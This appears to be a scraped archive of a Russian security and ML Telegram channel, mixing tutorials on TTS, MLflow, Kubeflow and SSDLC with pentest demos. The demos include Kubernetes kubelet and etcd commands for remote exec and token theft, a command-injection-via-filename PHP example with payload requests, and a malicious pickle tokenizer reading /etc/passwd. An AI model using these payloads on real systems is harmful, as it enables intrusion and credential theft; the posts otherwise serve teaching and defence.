Purple Team Diary's
前往频道在 Telegram
210
订阅者
无数据24 小时
+17 天
+130 天
帖子存档
Озвучиваем электронные книги с помощью нейронных сетей
Сперва необходимо извлечь текст из электронной книги. Функция для извлечения текста из EPUB:
def extract_text_from_epub(epub_path):
book = epub.read_epub(epub_path)
text = ""
# Проходим по всем элементам книги
for item in book.get_items():
# Проверяем, является ли элемент документом (например, главой)
if item.get_type() == 9:
soup = BeautifulSoup(item.get_body_content(), 'html.parser')
# Извлекаем текст и заменяем неразрывные пробелы на обычные
text += soup.get_text().replace("\xa0", " ") + "\n\n"
return textdef split_text_by_sentences(text):
cleaned_text = re.sub(r'[\d=]', '', text)
# Регулярное выражение для поиска границ предложений
sentences = re.split(r'(?<=[.!?])\s+', cleaned_text)
return sentencesprint(TTS().list_models().list_models())tts = TTS(model_name="tts_models/multilingual/multi-dataset/xtts_v2", progress_bar=True, gpu=False)text = extract_text_from_epub("robert_dzh_makkenzi_upryamij_reb.epub")
paragraphs = re.split(r'\n\s*\n', text)
sentences = split_text_by_sentences(text)for i, sentence in enumerate(sentences):
if sentence.strip(): # Пропуск пустых предложений
tts.tts_to_file(
text=sentence,
file_path=f"output_sentence_{i}.wav",
language="ru", # Указываем язык
speaker="Ana Florence" # Указываем голос
)combined = AudioSegment.empty()
for i in range(len(sentences)):
try:
sound = AudioSegment.from_wav(f"output_sentence_{i}.wav")
combined += sound
except FileNotFoundError:
continue
# Сохранение объединенного файла
combined.export("final_output.wav", format="wav")
Аудит Kubernetes (внешний нарушитель)
1. Разведка и сканирование
Для начальной разведки нарушитель может использовать инструменты, такие как nmap, чтобы определить открытые порты и сервисы на целевой системе.
А) Сканирование сети
nmap -p 443,6443,8080,10250,2379,30000-32767 <target-ip>где: 443/TCP, 6443/TCP: Порт API Kubernetes (обычно защищен, но может быть доступен). 8080/TCP: Небезопасный порт API (если открыт, это серьезная уязвимость). 10250/TCP: Kubelet API (может быть использован для выполнения команд). 2379/TCP: etcd (хранилище ключ-значение Kubernetes). 30000-32767/TCP: NodePort (сервисы, доступные извне). Б) Поиск уязвимостей с помощью Kube-Hunter Kube-Hunter — это инструмент для автоматического поиска уязвимостей в Kubernetes.
docker run --rm aquasec/kube-hunter:latest --remote <target-ip>curl --insecure -X GET https://<target-ip>:8080/api/v1/nodescurl --insecure -X GET https://<target-ip>:8080/api/v1/podscurl --insecure -X GET https://<target-ip>:8080/api/v1/pods?fieldSelector=spec.nodeName=<node-name>curl --insecure -X GET --header "Authorization: Bearer <token>" https://<target-ip>:6443/api/v1/nodescurl --insecure -X GET --header "Authorization: Bearer <token>" https://<target-ip>:6443/api/v1/podskubectl -s http://<target-ip>:8080 exec -it {podName} -- /bin/bash
С авторизацией (порт 6443):
curl --insecure -X POST --header "Authorization: Bearer <token>" --header "Content-Type: application/json" --data '{"command": ["<command>"], "container": "<container-name>"}' https://<target-ip>:6443/api/v1/namespaces/<namespace>/pods/<pod-name>/execcurl -k https://<target-ip>:10250/metricscurl -k https://<target-ip>:10250/podscurl -Gks https://<target-ip>:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=ls' -d 'command=/'curl -k https://<target-ip>:10250/logs/{namespace}/{pod}/{container}curl -k https://<target-ip>:2379/versionetcdctl --endpoints=https://<target-ip>:2379 get / --prefixcurl http://<target-ip>:<nodeport>dirb http://<target-ip>:<nodeport>6. Поиск утечек токенов Нарушитель может попытаться найти токены ServiceAccount в подах. А) Получение списка подов
curl -k https://<target-ip>:10250/podscurl -k https://<target-ip>:10250/run/{namespace}/{pod}/{container} -d 'command=cat' -d 'args=/var/run/secrets/kubernetes.io/serviceaccount/token'Атаки на классификаторы изображений: Семейство градиентных атак
Градиентные атаки являются мощным инструментом для проверки устойчивости моделей классификации изображений. Эти методы создают отравленные примеры, которые вводят модель в заблуждение, провоцируя ошибки в прогнозах.
1. FGSM — это одна из самых простых и быстрых атак. Она добавляет шум в направлении градиента функции потерь модели, чтобы максимизировать ошибку. Эта атака эффективна благодаря своей простоте и скорости выполнения.
Преимущества: скорость, простота реализации.
Недостатки: ограниченная мощность атаки.
2. PGD — это итеративный метод, который многократно применяет FGSM с меньшим шагом и проецирует результат обратно в допустимое пространство.
Преимущества: высокая эффективность для создания сложных атак.
Недостатки: увеличенное время вычислений.
3. C&W_L2 — это одна из наиболее эффективных атак, которая минимизирует L2-норму разницы между исходным и обманным примером, одновременно пытаясь заставить модель сделать неправильный прогноз. Эта атака известна своей высокой точностью и сложностью.
Особенность: точность при минимальном визуальном искажении.
Недостаток: высокая вычислительная сложность.
4. DeepFool — это атака, которая пытается найти минимальное возмущение, необходимое для того, чтобы модель переключилась на другой класс. Этот метод особенно полезен для оценки устойчивости модели к малым изменениям входных данных.
Преимущества: отличная оценка устойчивости к малым изменениям.
Недостатки: требовательность к ресурсам.
5. BIM — это итеративная версия FGSM. Каждый шаг прибавляет шум меньшей величины, обеспечивая более точное воздействие.
6. NewtonFool — атака, которая использует метод Ньютона для поиска минимального возмущения, необходимого для того, чтобы модель переключилась на другой класс. Этот метод обеспечивает высокую точность и эффективность.
Дригие методы:
* NewtonFool — минимизация возмущений через метод Ньютона.
* JSMA — изменения ограничиваются значимыми пикселями.
* SquareAttack — случайные квадратные области для модификации.
* HopSkipJump — итеративный метод для минимального возмущения.
* ElasticNet — комбинация L1 и L2 регуляризаций.
attacks = {
"FGSM": FastGradientMethod(estimator=classifier, eps=9.0),
"PGD": ProjectedGradientDescent(estimator=classifier, eps=9.0, eps_step=2.0, max_iter=10),
"C&W_L2": CarliniL2Method(classifier=classifier, confidence=0.0, targeted=False, learning_rate=0.01, max_iter=10, binary_search_steps=1, initial_const=0.01),
"DeepFool": DeepFool(classifier=classifier, max_iter=10, epsilon=1e-6),
"BIM": BasicIterativeMethod(estimator=classifier, eps=9.0, eps_step=2.0, max_iter=10),
"NewtonFool": NewtonFool(classifier=classifier, max_iter=10, eta=0.01),
"JSMA": SaliencyMapMethod(classifier=classifier, theta=0.1, gamma=0.1),
"SquareAttack": SquareAttack(estimator=classifier, norm=2, max_iter=100, eps=0.9),
"HopSkipJump": HopSkipJump(classifier=classifier, max_iter=50, norm=2, targeted=False),
"VirtualAdversarialMethod": VirtualAdversarialMethod(classifier=classifier, max_iter=50, eps=0.9),
"ElasticNet": ElasticNet(classifier=classifier, confidence=0.0, targeted=False, learning_rate=0.01, max_iter=10, binary_search_steps=1, initial_const=0.01),
"AutoAttack": AutoAttack(estimator=classifier, norm=2, eps=0.3)
}
image_np = np.array(image, dtype=np.float32)
# Преобразование в batch-формат
input_tensor = np.expand_dims(image_np, axis=0)
# Бинарная метка
label = np.array([[0, 1]], dtype=np.float32)
for attack_name, attack in attacks.items():
adversarial_images = attack.generate(x=input_tensor, y=label)
print(f"{name} prediction: {classifier.predict(adversarial_image)}") 
Китайский GPT
Недавно в сети появилась новая звезда среди языковых моделей — Qwen2.5.1 Coder. По результатам тестов, она демонстрирует производительность, сравнимую с GPT-4, что вызывает немалый ажиотаж среди разработчиков и исследователей.
В интернете появились инструкции для запуска на MacOS, внесу корректировки для Linux с небольшими дополнениями:
Различия между llama.cpp и Qwen2.5.1 Coder
Важно отметить разницу между двумя проектами:
• llama.cpp: Это проект, разработанный для запуска больших языковых моделей на обычных настольных компьютерах. Он оптимизирован для эффективного использования ресурсов и может запускать модели, которые обычно требуют мощных GPU.
• Qwen2.5.1 Coder: Это сама языковая модель. Она должна быть скачана отдельно и затем использована с помощью llama.cpp.
Установка llama.cpp
git clone https://github.com/ggerganov/llama.cpp
cd llama.cpp
sudo apt-get install build-essential cmake
mkdir build
cd build
cmake ..
make./llama-server -m "./models/Qwen2.5.1-Coder-7B-Instruct-Q5_K_M.gguf" -t 8 --mlock -v -fa --temp 0.4 --repeat-penalty 1.10 --repeat-last-n -1 --top-k 40 --top-p 0.90 --min-p 0.10 -c 16000 --alias "MyOfflineModel"sudo sh -c "echo -n 'admin:' >> /etc/nginx/.htpasswd"
sudo sh -c "openssl passwd -apr1 'your_password' >> /etc/nginx/.htpasswd"sudo nano /etc/nginx/sites-available/llama-serverserver {
listen 80;
server_name your_server_domain_or_IP;
location / {
auth_basic "Restricted Content";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}sudo ln -s /etc/nginx/sites-available/llama-server /etc/nginx/sites-enabled/
sudo nginx -t
sudo systemctl restart nginx
Давно не публиковал посты, так как вместе с друзьями занимался разработкой интересного инвестиционного проекта https://invest-cat.ru
Я обучаюсь в Высшей школе экономики по программе «Инвестиции на финансовых рынках». Полученные знания в сочетании с навыками в области нейронных сетей и программирования помогают разрабатывать инновационные решения для инвесторов.
В рамках проекта мы создали визуальные аналитические карты облигаций, которые позволяют инвесторам быстро оценить ключевые параметры:
• Спред доходности — разница между доходностью облигации и доходностью безрискового актива.
• Дюрация Маколея — показатель, который отражает средневзвешенный срок возврата вложенных средств. Он показывает, через сколько лет инвестор сможет вернуть свои деньги.
• Реальная доходность — учитывает инфляцию и дает более точное представление о возможной прибыли, особенно в условиях экономической нестабильности.
• Доходность к погашению — ожидаемая доходность облигации, если она удерживается до даты погашения, что важно для оценки долгосрочной доходности.
• Волатильность и ликвидность — показатели, отражающие уровень риска и легкость продажи облигации на рынке.
Данные на картах обновляются каждый час и напрямую синхронизируются с Московской биржей, обеспечивая актуальность информации для пользователей.
Этот проект стал стимулом к дальнейшему развитию в области инвестиционного анализа и финансовых технологий.
Сейчас мы также работаем над системой безопасной авторизации и ролевой модели доступа, чтобы обеспечить надежную защиту данных и функционал для разных категорий пользователей.
Если вам интересны посты на эту тему, пишите в комментариях.
#Invest
Процесс развертывания Kubeflow и Seldon для обработки и предсказания данных на основе модели машинного обучения (Часть 2)
Seldon Core позволяет легко развертывать и масштабировать модели машинного обучения в Kubernetes, предоставляя API для взаимодействия с ними. Производитель утверждает, что данное решение поможет защитить модель от некоторых типов adversarial attack.
Добавляем репозиторий Seldon, создаем пространство имен и устанавливаем оператор Seldon Core, который управляет развертыванием моделей машинного обучения:
helm repo add seldon-charts https://storage.googleapis.com/seldon-charts
kubectl create namespace seldon-system
helm install seldon-core seldon-core-operator \
--repo https://storage.googleapis.com/seldon-charts \
--set usageMetrics.enabled=true \
--namespace seldon-system \
--set istio.enabled=truemy_sklearn_model.train(...)
joblib.dump(my_sklearn_model, "model.joblib")gsutil cp model.joblib gs://seldon-models/v1.19.0-dev/sklearn/iris/model.joblibМодель загружается в Google Cloud Storage, что позволяет использовать ее для развертывания в Kubernetes. Публикуем модель в Kubernetes:
kubectl apply -f - << END
apiVersion: machinelearning.seldon.io/v1
kind: SeldonDeployment
metadata:
name: iris-model
namespace: model-namespace
spec:
name: iris
predictors:
- graph:
implementation: SKLEARN_SERVER
modelUri: gs://seldon-models/v1.19.0-dev/sklearn/iris
name: classifier
name: default
replicas: 1
END
Проверяем работоспособность модели:
curl -X POST http://<ingress>/seldon/model-namespace/iris-model/api/v1.0/predictions \
-H 'Content-Type: application/json' \
-d '{ "data": { "ndarray": [1,2,3,4] } }' | json_pp{
"meta" : {},
"data" : {
"names" : [
"t:0",
"t:1",
"t:2"
],
"ndarray" : [
[
0.000698519453116284,
0.00366803903943576,
0.995633441507448
]
]
}
}
Процесс развертывания Kubeflow и Seldon для обработки и предсказания данных на основе модели машинного обучения (Часть 1)
Устанавливаем kubernetes локально:
curl -sfL https://get.k3s.io | sh -sudo chown user.user /etc/rancher/k3s/k3s.yamlcurl -s "https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh" | bash && chmod +x kustomize && sudo mv kustomize /usr/local/bin/git clone https://github.com/kubeflow/manifests.git
cd manifests
while ! kustomize build example | kubectl apply -f -; do echo "Retrying to apply resources"; sleep 20; donesudo sysctl fs.inotify.max_user_instances=1280
sudo sysctl fs.inotify.max_user_watches=655360kubectl port-forward svc/istio-ingressgateway -n istio-system 8080:80kubectl patch svc istio-ingressgateway -n istio-system -p '{"spec": {"type": "LoadBalancer"}}'import kfp
from kfp import dsl
@dsl.component
def load_mnist_data() -> str:
...
@dsl.component
def preprocess_data(data_path: str) -> str:
...
kfp.compiler.Compiler().compile(mnist_pipeline, 'mnist_pipeline.yaml')
client = kfp.Client(host='http://127.0.0.1:8080')
client.create_run_from_pipeline_func(mnist_pipeline) 
RCE в имени файла
Приведенный ниже код предназначен для загрузки файла на сервер и последующего создания архива.
<?php
$uploadDir = "uploads/";
if (!file_exists($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (!empty($_FILES['uploaded_files']['name'][0])) {
foreach ($_FILES['uploaded_files']['tmp_name'] as $key => $tmpName) {
$fileName = basename($_FILES['uploaded_files']['name'][$key]);
$targetFile = $uploadDir . $fileName;
if (move_uploaded_file($tmpName, $targetFile)) {
$randomName = uniqid('archive_') . '.zip';
$zipPath = $uploadDir . $randomName;
$command = "cd " . $uploadDir . " && zip -r " . $randomName . " " . $fileName;
shell_exec($command);
unlink($targetFile);
$result_message = "<br><br> Архив успешно создан! <br> Скачать архив: <a href='" . $zipPath . "'>" . $randomName . "</a>";
} else {
$result_message = "<br><br> Ошибка при загрузке файла.";
}
}
} else {
$result_message = "<br> Пожалуйста, выберите файл для загрузки.";
}
}
?>POST / HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 245 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygmR121iNsK69G6o0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://127.0.0.1:8080 Accept-Encoding: gzip, deflate, br Connection: keep-alive ------WebKitFormBoundarygmR121iNsK69G6o0 Content-Disposition: form-data; name="uploaded_files[]"; filename="1.php ; sleep 10;" Content-Type: application/octet-stream lol ------WebKitFormBoundarygmR121iNsK69G6o0--Результат: Сервер будет ждать 10 секунд, что свидетельствует о том, что команда sleep 10 была успешно выполнена. 2. Получение содержимого директории
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 245
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygmR121iNsK69G6o0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundarygmR121iNsK69G6o0
Content-Disposition: form-data; name="uploaded_files[]"; filename="${pwd}"
Content-Type: application/octet-stream
lol
------WebKitFormBoundarygmR121iNsK69G6o0--
Результат: Содержимое текущей директории будет сохранено в архиве, который злоумышленник сможет скачать.
Исправление уязвимости
Для исправления дефекта, вместо shell_exec, лучше использовать класс ZipArchive, т.к он работает с файловой системой, не выполняя команды через оболочку.
#Pentest
TensorFlow и GPU: быстрая настройка
В 2024 году интеграция TensorFlow с GPU стала еще более удобной и доступной. Теперь нет необходимости вручную подбирать и устанавливать определенные версии CUDA и cuDNN для работы с TensorFlow. Существует несколько основных способов установки TensorFlow с поддержкой GPU, которые значительно упрощают процесс.
Способ 1: Установка через pip
Самый простой и быстрый способ установить TensorFlow с поддержкой GPU — это использовать менеджер пакетов pip:
pip install tensorflow[and-cuda]NVIDIA_PACKAGE_DIR="$CONDA_PREFIX/lib/python3.11/site-packages/nvidia"
for dir in $NVIDIA_PACKAGE_DIR/*; do
if [ -d "$dir/lib" ]; then
export LD_LIBRARY_PATH="$dir/lib:$LD_LIBRARY_PATH"
fi
donegit clone https://github.com/iot-salzburg/gpu-jupyter.gitcd gpu-jupytergit branch
git checkout v1.7_cuda-12.2_ubuntu-22.04./generate-Dockerfile.sh --python-onlydocker build -t gpu-jupyter .build/ export JUPYTER_TOKEN=$(uuidgen)
echo $JUPYTER_TOKENdocker run --gpus all -d -it -p 8848:8888 -v $(pwd)/data:/home/jovyan/work -e GRANT_SUDO=yes -e JUPYTER_ENABLE_LAB=yes -e NB_UID="$(id -u)" -e NB_GID="$(id -g)" -e JUPYTER_TOKEN=${JUPYTER_TOKEN} --user root --restart always --name gpu-jupyter_1 gpu-jupyter
Жизненный цикл безопасной разработки по ГОСТ Р 56939
SSDLC (Secure Software Development Life Cycle) — методология, интегрирующая меры безопасности на всех этапах разработки ПО для снижения уязвимостей и рисков, обеспечивая надежность конечного продукта. Стандарт ГОСТ Р 56939 в России формализует эту методологию, подчеркивая важность безопасности в разработке. Основу SSDLC составляют принципы Shift-Left и Zero-Trust.
Shift-Left:
Описание: Подход, который перемещает фокус на безопасность на более ранние этапы жизненного цикла разработки ПО, интегрируя тестирование безопасности с самого начала процесса разработки.
Цель: Предотвращение уязвимостей и рисков на ранних этапах, что является более эффективным и экономически выгодным, чем их исправление на поздних стадиях.
Zero-Trust:
Описание: Модель безопасности, предполагающая, что злоумышленники могут проникнуть в любую часть сети, поэтому доступ к ресурсам должен быть строго контролируемым и основан на принципе "Никогда не доверяй, всегда проверяй".
Цель: Минимизация рисков компрометации данных и систем путем постоянного подтверждения идентичности и проверки доступа, независимо от местоположения пользователя.
Этапы SSDLC:
1. Определение требований к безопасности
Цель: Обеспечить четкое понимание требований безопасности на ранних этапах (Shift-Left).
Действия:
• Сбор и анализ требований к безопасности.
• Идентификация угроз и рисков.
• Разработка политик и процедур безопасности.
Бесплатные инструменты:
• OWASP Threat Dragon: Для моделирования угроз.
2. Проектирование безопасности
Цель: Интеграция мер безопасности в архитектуру системы (Shift-Left).
Действия:
• Разработка архитектуры безопасности.
• Определение механизмов защиты данных.
• Проектирование мер по обеспечению целостности, конфиденциальности и доступности информации.
3. Разработка безопасного кода
Цель: Создание безопасного кода, устойчивого к уязвимостям (Shift-Left).
3.1. Конструирование кода
Действия:
• Экспертиза кода
• Использование статического анализа безопасности кода (SAST) для выявления уязвимостей, linting и проверки секретов.
Бесплатные инструменты:
• SAST: SonarQube, Semgrep.
3.2. Квалификационное тестирование
Действия:
• Применение динамического анализа безопасности кода (DAST) для обнаружения уязвимостей.
• Анализ открытых библиотек и компонентов с использованием инструментов управления зависимостями (SCA).
• Проведение тестов на проникновение (пентестов).
Бесплатные инструменты:
• DAST: OWASP ZAP, Burp Suite Community Edition, Nuclei.
• SCA (анализирует открытые библиотеки и компоненты): OWASP Dependency-Track, Trivy.
• ASOC (обеспечивает централизованный анализ результатов SAST, DAST, SCA): DefectDojo, ArcherySec.
4. Развертывание и эксплуатация
Цель: Обеспечение безопасности на этапе развертывания и эксплуатации (Zero-Trust).
Действия:
• Безопасное развертывание программного обеспечения.
• Мониторинг и управление инцидентами безопасности.
• Регулярное обновление и патчинг системы.
Бесплатные инструменты:
• Kube-bench и Kube-hunter для сканирования конфигураций Kubernetes на предмет соответствия стандартам безопасности.
• ELK Stack: Инструменты для мониторинга и анализа логов.
• OpenSCAP: Инструмент для автоматизированной проверки соответствия системы стандартам безопасности (OSA).
5. Обучение и осведомленность
Цель: Повышение уровня безопасности за счет обучения и информирования.
Действия:
• Проведение тренингов по принципам безопасной разработки.
• Повышение осведомленности о текущих угрозах и методах защиты.
Бесплатные инструменты:
• OWASP Juice Shop: Интерактивное приложение для обучения разработчиков и тестировщиков основам безопасности.
6. Оценка и улучшение
Цель: Постоянное совершенствование процесса разработки и мер безопасности.
Действия:
• Регулярная оценка эффективности мер безопасности.
• Внесение улучшений на основе полученных данных и опыта.
Бесплатные инструменты:
• OWASP ASVS: Стандарт для оценки безопасности веб-приложений.
• OWASP SAMM: Модель для оценки и улучшения процессов безопасности разработки ПО.
#DevSecOps
Архитектурное решение для маршрутизации трафика с поддержкой WebSockets и защитой от DDoS
В Kubernetes для маршрутизации трафика часто используется Network Load Balancer (NLB). Этот тип балансировщика обладает высокой скоростью обработки запросов, поддерживает большое количество маршрутов на доменные имена, а также позволяет передавать IP-адреса пользователей в заголовках HTTP-запросов при настройке параметра:
externalTrafficPolicy: LocalОднако, при защите от DDoS-атак с использованием сервиса Qrator возникла проблема несовместимости с поддержкой WebSockets, что требовало пересмотра архитектурного решения для корректной работы WebSocket-соединений. Архитектурное решение Для решения этой проблемы вынес поддомен, обслуживающий WebSocket-соединения, на Application Load Balancer (ALB). ALB поддерживает облачную защиту SmartWeb, которая эффективно противостоит DDoS-атакам и корректно работает с WebSockets. Этапы реализации 1. Настройка внутренних балансировщиков нагрузки Чтобы разделить трафик между фронтендом и бэкендом, создаются два внутренних балансировщика нагрузки. Они работают как промежуточный слой маршрутизации, который обеспечивает передачу трафика от внешнего ALB к соответствующим сервисам в кластере Kubernetes. Эти балансировщики доступны только из внутренней сети и недоступны извне, что обеспечивает дополнительный уровень безопасности. Пример конфигурации внутреннего балансировщика для бэкенд-сервиса:
apiVersion: v1
kind: Service
metadata:
name: websocketslbback
annotations:
# Тип балансировщика.
yandex.cloud/load-balancer-type: internal
# Идентификатор подсети для внутреннего сетевого балансировщика нагрузки.
yandex.cloud/subnet-id: e9bic*****
spec:
type: LoadBalancer
loadBalancerIP: 10.200.0.253 # указываем диапазон внутренних ip адресов относящихся к сервисам
externalTrafficPolicy: Local
selector:
app: myapp
tier: backend-test
ports:
- port: 443
targetPort: 5000
Этот балансировщик принимает входящий трафик от ALB и направляет его на соответствующие backend-поды.
2. Настройка внешнего балансировщика нагрузки (ALB)
Далее создается внешний ALB через консоль Яндекс.Облака, который обслуживает входящий трафик из интернета. Этот балансировщик играет роль основного маршрутизатора трафика и корректно обрабатывает WebSocket-соединения.
Параметры конфигурации ALB:
А) Зоны доступности: Указываются зоны, в которых будет развернут ALB, чтобы обеспечить отказоустойчивость.
Б) Публичный IP-адрес: ALB получает публичный IP-адрес, позволяющий принимать трафик из внешних сетей.
В) Порт: ALB работает на порту 443 (HTTPS) для шифрования трафика.
Г) SSL-сертификат: Для шифрования трафика.
Д) HTTP-роутер: Маршрутизация осуществляется через HTTP-роутер, который анализирует входящие запросы по доменному имени и пути и перенаправляет их на соответствующие внутренние балансировщики.
3. Маршрутизация через HTTP-роутер
ALB использует HTTP-роутер для маршрутизации входящего трафика:
А) Виртуальные хосты: В HTTP-роутере настраиваются виртуальные хосты с указанием доменных имен и путей, на которые будет направляться трафик. Это позволяет эффективно разделять трафик между разными сервисами на основе URL-запросов.
Б) Поддержка WebSockets: Включается поддержка WebSockets для виртуальных хостов, отвечающих за обработку WebSocket-трафика.
4. Настройка групп бэкендов
HTTP-роутер перенаправляет трафик на внутренние балансировщики, используя группы бэкендов. В этих группах указываются:
А) Порт, на который отправлять трафик.
Б) Целевая группа, представляющая внутренний балансировщик, который распределяет трафик по бэкенд-подам внутри Kubernetes.
Таким образом, это решение объединяет преимущества как NLB, так и ALB, создавая надежную и гибкую инфраструктуру для маршрутизации трафика в Kubernetes, с учетом особенностей WebSocket-трафика и требований безопасности.
#DevOps
+5
Анализ признаков влияющих на предсказание нейронной сети
В рамках проекта по созданию торгового бота на акциях Московской биржи, использовал индикаторы технического анализа для извлечения признаков, которые помогут нейронной сети лучше обобщить экономические закономерности финансовых рынков. В результате, получил внушительное количество признаков — целых 39, поэтому необходимо убрать лишние, чтобы повысить качество предсказания нейронной сети.
Одним из эффективных способов достижения этой цели является вычисление градиентов.
Определим функцию compute_gradients, которая будет вычислять градиенты предсказаний модели по отношению к входным данным:
import tensorflow as tf
@tf.function
def compute_gradients(inputs):
with tf.GradientTape() as tape:
tape.watch(inputs) # Следим за входными данными
predictions = best_model(inputs) # Получаем предсказания от модели
return tape.gradient(predictions, inputs) # Вычисляем градиенты# Пример входных данных
sample = tf.convert_to_tensor(X_test[:1], dtype=tf.float32)
# Вычисление градиентов
grads = compute_gradients(sample).numpy()
# Расчет средних абсолютных градиентов по всем признакам
mean_grads = np.mean(np.abs(grads), axis=(0, 1))
# Сортировка признаков по важности
important_features_idx = np.argsort(mean_grads)[::-1]
sorted_features = X.columns[important_features_idx]
sorted_importances = mean_grads[important_features_idx]
print("Важность признаков:", sorted_features)plt.figure(figsize=(10, 6))
plt.barh(sorted_features, sorted_importances, color='skyblue')
plt.xlabel('Средний абсолютный градиент')
plt.ylabel('Признаки')
plt.title('Наиболее важные признаки')
plt.gca().invert_yaxis()
plt.show()
Установка и настройка MLFlow с PostgreSQL и структурой проекта
MLflow — это открытая платформа для управления жизненным циклом машинного обучения, включая экспериментирование, воспроизведение и развертывание моделей. Предоставляет инструменты для отслеживания экспериментов, управления моделями и их развертыванием, а также для создания и управления проектами машинного обучения.
Шаг 1: Установка PostgreSQL
sudo apt install postgresql postgresql-contribsudo -i -u postgrespsqlСоздаём нового пользователя для MLFlow и задаём пароль:
CREATE USER mlflow_user WITH PASSWORD 'password';CREATE DATABASE mlflow_db OWNER mlflow_user;sudo nano /etc/postgresql/14/main/pg_hba.conflocal all all md5sudo systemctl restart postgresqlpip install mlflow psycopg2-binarymlflow server --backend-store-uri=postgresql://mlflow_user:password@127.0.0.1:5432/mlflow_db --default-artifact-root file://$(pwd)/artifacts --host 127.0.0.1 --port 8080mlflow_project/ ├── data/ │ ├── raw/ # Необработанные данные, загруженные из источника. │ ├── processed/ # Обработанные данные, подготовленные для обучения модели. │ └── external/ # Внешние данные, которые могут быть использованы в проекте. ├── notebooks/ │ ├── exploratory/ │ │ ├── 01_data_exploration.ipynb # Ноутбук для исследовательского анализа данных. │ │ └── 02_feature_analysis.ipynb # Ноутбук для анализа и выбора признаков. │ ├── experiments/ │ │ ├── 01_experiment_baseline.ipynb # Ноутбук для базового эксперимента с моделью. │ │ └── 02_experiment_hyperparameter_tuning.ipynb # Ноутбук для настройки гиперпараметров модели. │ └── production/ │ ├── 01_model_deployment.ipynb # Ноутбук для развертывания модели в production. │ └── 02_model_monitoring.ipynb # Ноутбук для мониторинга работы модели в production. ├── src/ │ ├── data/ │ │ ├── __init__.py # Пустой файл для инициализации пакета. │ │ ├── load_data.py # Функции для загрузки данных из различных источников. │ │ └── preprocess_data.py # Функции для предварительной обработки данных. │ ├── models/ │ │ ├── __init__.py # Пустой файл для инициализации пакета. │ │ ├── train_model.py # Функции для обучения модели. │ │ └── evaluate_model.py # Функции для оценки производительности модели. │ └── utils/ │ ├── __init__.py # Пустой файл для инициализации пакета. │ └── helper_functions.py # Вспомогательные функции, используемые в проекте. ├── experiments/ │ └── mlruns/ # Папка для хранения локальных экспериментов (если не указано хранилище артефактов). ├── artifacts/ # Папка для хранения артефактов (моделей, данных и т.д.), созданных в ходе экспериментов. ├── requirements.txt # Файл с зависимостями проекта. ├── README.md # Файл с описанием проекта, инструкциями по запуску и т.д. ├── MLproject # Файл, описывающий MLflow проект. └── conda.yaml # Файл, описывающий окружение проекта.#MLOps
Атака через вредоносный pickle-файл
Модуль pickle в Python — мощный инструмент для сериализации и десериализации объектов.
Однако, при работе с ненадежными данными, его использование может быть опасным, поскольку при десериализации выполняется код, содержащийся в объекте.
Это предоставляет злоумышленнику возможность внедрить вредоносный код, который будет выполнен при загрузке объекта из pickle-файла под видом токенизатора для нейросетевой модели.
Полезная нагрузка:
import os
import pickle
from keras.preprocessing.text import Tokenizer
class TokenizerWithMaliciousCode:
def __init__(self, tokenizer):
self.tokenizer = tokenizer
def __reduce__(self):
# Метод __reduce__ контролирует процесс десериализации.
return (self.run_malicious_code_then_return_tokenizer, (self.tokenizer,))
@staticmethod
def run_malicious_code_then_return_tokenizer(tokenizer):
os.system('cat /etc/passwd')
# Возвращение токенизатора после выполнения вредоносного кода
return tokenizer
# Создание объекта токенизатора
tokenizer = Tokenizer()
tokenizer.fit_on_texts(["Purple Team Diary", "mrl_joy"])
# Объединение токенизатора с вредоносным кодом
combined = TokenizerWithMaliciousCode(tokenizer)
# Сохранение объекта в pickle-файл
with open('malicious_tokenizer.pkl', 'wb') as file:
pickle.dump(combined, file)# Загрузка токенизатора и выполнение вредоносного кода
with open('malicious_tokenizer.pkl', 'rb') as file:
tokenizer = pickle.load(file)
# После десериализации токенизатор работает как обычно
texts = ["new text data to tokenize"]
tokenizer.fit_on_texts(texts) 
Оптимизация модели с использованием итерационного прунинга
Итерационный прунинг — это эффективная техника оптимизации нейронных сетей, направленная на уменьшение размера модели и повышение её производительности, сохраняя при этом высокие показатели точности. Этот метод предполагает постепенное удаление наименее значимых параметров модели с последующим дообучением оставшихся весов, что позволяет модели адаптироваться к изменениям.
Основные этапы итерационного прунинга:
1. Извлечение весов и смещений: В начале процесса из обученной модели извлекаются веса и смещения для каждого слоя. Эти параметры представляют собой ключевые компоненты, влияющие на производительность сети.
2. Вычисление абсолютных значений весов: Для определения значимости каждого веса вычисляются их абсолютные значения. Это позволяет идентифицировать те параметры, которые в наименьшей степени влияют на результаты модели.
3. Определение порогового значения: Используя персентиль, определяется порог, ниже которого веса считаются незначительными и подлежат удалению. Персентиль — это статистический показатель, показывающий, какая доля значений меньше или равна определённому порогу. Например, 10-й персентиль соответствует тому, что 10% значений находятся ниже этого уровня.
